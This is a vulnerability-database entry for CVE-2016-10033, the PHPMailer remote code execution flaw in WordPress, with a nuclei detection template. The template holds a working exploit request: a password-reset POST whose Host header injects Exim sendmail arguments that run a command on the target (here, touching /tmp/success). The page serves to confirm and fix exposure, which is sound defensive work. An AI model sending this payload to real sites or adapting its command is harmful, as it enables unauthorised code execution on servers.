Browse / CVEs / CVE-2016-10033
CVE-2016-10033· phpmailer project / phpmailer· CWE-88
WordPress PHPMailer < 5.2.18 - Remote Code Execution
Exploited in the wild. Listed by CISA on 2025-07-07; known to be used by ransomware.
WordPress PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a " (backslash double quote) in a crafted Sender property in isMail transport.
Impact
Successful exploitation of this vulnerability can lead to unauthorized remote code execution on the affected WordPress website.
Fix
Upgrade PHPMailer to version 5.2.18 or higher to mitigate this vulnerability.
How to confirm it
Send: GET /?author=1 ; POST /wp-login.php?action=lostpassword
Positive when: contains in header "wp-login.php?checkemail=confirm" AND status 302Run it with nuclei: nuclei -id CVE-2016-10033 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2016-10033
info:
name: WordPress PHPMailer < 5.2.18 - Remote Code Execution
author: princechaddha
severity: critical
description: WordPress PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a " (backslash double quote) in a crafted Sender property in isMail transport.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized remote code execution on the affected WordPress website.
remediation: |
Upgrade PHPMailer to version 5.2.18 or higher to mitigate this vulnerability.
reference:
- https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
- https://nvd.nist.gov/vuln/detail/CVE-2016-10033
- https://www.exploit-db.com/exploits/40970/
- https://www.exploit-db.com/exploits/40968/
- http://seclists.org/fulldisclosure/2016/Dec/78
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2016-10033
cwe-id: CWE-88
epss-score: 0.99714
epss-percentile: 0.99952
cpe: cpe:2.3:a:phpmailer_project:phpmailer:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: phpmailer_project
product: phpmailer
tags: cve,cve2016,seclists,rce,edb,wordpress,phpmailer_project,kev,vkev,vuln
http:
- raw:
- |+
GET /?author=1 HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
- |+
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
Accept: */*
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login={{username}}
unsafe: true
matchers-condition: and
matchers:
- type: word
part: header
words:
- wp-login.php?checkemail=confirm
- type: status
status:
- 302
extractors:
- type: regex
name: username
group: 1
regex:
- 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
internal: true
part: bodyReferences
- https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
- https://nvd.nist.gov/vuln/detail/CVE-2016-10033
- https://www.exploit-db.com/exploits/40970/
- https://www.exploit-db.com/exploits/40968/
- http://seclists.org/fulldisclosure/2016/Dec/78
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